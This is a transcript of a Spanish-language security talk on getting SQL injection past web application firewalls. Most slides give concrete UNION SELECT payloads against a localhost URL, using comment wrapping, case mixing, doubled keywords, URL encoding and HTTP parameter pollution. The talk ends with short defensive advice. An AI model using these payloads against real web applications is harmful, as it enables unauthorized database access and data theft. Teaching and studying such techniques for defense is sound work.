Bypassing waf advanced

Post on 08-Jun-2015

266 views 1 download

Transcript of Bypassing waf advanced

BYPASSING WAF ADVANCED

“Nunca confíes en un firewall”

• Todo el contenido de esta charla es resultado de investigación con fines didácticos y educativos. El autor no se hace responsable por el uso del conocimiento contenido en la siguiente presentación. La información contenida debe ser utilizada únicamente para fines éticos y con la debida autorización.

• Todo descubrimiento realizado, ha sido y será usado de forma legal. La audiencia debe asumir todo lo que se exponga hoy, como “falso” y “sin fundamento” hasta que lo compruebe personalmente. Limahack no es el autor directo de ninguno de los descubrimientos expuestos, ni de las herramientas demostradas, ni los conoce.

• Todas las opiniones vertidas durante esta presentación son exclusivas del expositor, Limahack no es responsable de ninguna de las opiniones vertidas.

DISCLAIMER

¿ WAF ?

WAF = Web Application FirewallEs un Firewall de Aplicaciones Web, que monitorea el trafico del protocolo HTTP.

EL ADMINISTRADOR WEB

Los administradores webpiensan que usando un firewall para su servidor web estarán a salvo de ataques, pero hoy vamos a romper el mito. xD

¿ Y PARA QUE SIRVE ?

Sirve para poder detectar “ciertas” peticionesmaliciosas con el uso de filtros y reglas definidasdentro de una lista por el WAF.

¿ Y MI WEB ES SEGURA SI USO WAF ?

Lamentablemente si tu código es vulnerable de nadate servirá usarlo, ya que de todas manerasse podrá pasar los filtros para poder penetrar alservidor web.

¿ COMO DETECTAMOS UN WAF ?

Es muy fácil, cuando introducimos comandos quese utiliza en una Inyección SQL u otra vulnerabilidadnos mostrara lo siguiente: (Hay tools que automatizanel trabajo) .

A JUGAR CON LOS WAF

¿ Y COMO HAGO EL BYPASS ?

A continuación te mostrare métodos para poderhacer el bypass y lograr penetrar al servidor web

1° Usando comentarios en la consulta

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7—

Bypasshttp://127.0.0.1/noticias.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,7—

La mayoría de WAF detectan pero con suerte todo es posible xD

BYPASSING WAF

2° Alterando la forma del comando

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7—

Bypasshttp://127.0.0.1/noticias.php?id=-1 uNiOn sEleCt 1,2,3,4,5,6,7—

Este bypass también es detectado por algunos WAF.Solo necesitamos un poco de suerte xD

Sigamos

BYPASSING WAF

3° Duplicando palabra clave

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7—

Bypasshttp://127.0.0.1/noticias.php?id=-1 UNIunionON SELselectECT 1,2,3,4,5,6,7—

Los WAF cometen este error de filtrar palabras claves como “UNION”, “SELECT ” pero que pasa si hacemos este tipo de consultas, confundiríamos al WAF cierto ? Y al final la consulta se lograría con éxito

Sigamos

BYPASSING WAF

3° Usando comentarios y duplicados en la consulta

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7--

Bypasshttp://127.0.0.1/noticias.php?id=-1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4,5,6,7--

Gran parte de los WAF no detectan este método.

BYPASSING WAF

Y eso es todo ?

Pues no, ahora viene lo mas emocionante.Si los métodos anteriores no hicieron el bypass alWAF, aquí te mostrare métodos mas avanzados parapoder saltarlos. (Nada es seguro en esta vida)

BYPASSING WAF

4° URL Encoding

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7--

Bypasshttp://127.0.0.1/noticias.php?id=-1 /*!uNI%4fn*/ /*!Sel%45Ct*/ 1,2,3,4,5,6,7--

Donde “O” es igual a “%4f” y “E” es igual a “%45”

Lo que hicimos fue colocar el valor de la letra en HEX Codificado para URL.

BYPASSING WAF

Tabla con algunos valores de URL Encoding

BYPASSING WAF

5° Usar otros comandos en la consulta

Normalhttp://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,@@version,6,7--

Bypasshttp://127.0.0.1/noticias.php?id=-1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4,version(),6,7--

Todo esta en ver si el comando esta en la lista negra y de ser el caso, usar otraopción para poder hacer el bypass.

BYPASSING WAF

6° HTTP Parameter Pollution

Es la contaminación de parámetros que pasan por (GET o POST) en el protocolo HTTP.

Esta técnica la podremos usar dependiendo del tipo de tecnología en el queeste desarrollada la aplicación (PHP, ASP, JSP, etc).

BYPASSING WAF

BYPASSING WAF

¿ Y COMO APLICO LA TECNICA PARA HACER BYPASS AL WAF ?

Supongamos que dupliquemos el parámetro en la URL para alterar la aplicación.

http://127.0.0.1/noticias.php?id= 1’ EL WAF ME BANEA =(

http://127.0.0.1/noticias.php?id= 1&id=2’ BYPASS WAF =)

En PHP, siempre evalúa la ultima variable pero si el WAF esta configurado por defecto como en la mayoría de los casos, pasa esto.

BYPASSING WAF

Siguiendo con HTTP Parameter Pollution, podríamos hacer bypassa un WAF sin ningún problema, ya que pocos son los WAF que se centran en esta técnica y la potencia que tiene.

BYPASSING WAF

Así como pudimos realizar bypass a los WAF para poder realizar las Inyecciones SQL, también podríamos concretar otros ataques , ya soloEs cuestión de creatividad

BYPASSING WAF

RECOMENDACIONES

- Desarrolla tus aplicaciones de forma segura, pensando como un atacante.

- Si vas a usar WAF, no uses la configuración por defecto.- Trata de documentarte lo mas que puedas.

Autor: Brayan Huaman PeredaDesarrollador y Pentester

Contacto: brayan@gruporibra.com Twitter: @brayanhpe

¿ PREGUNTAS ?

Gracias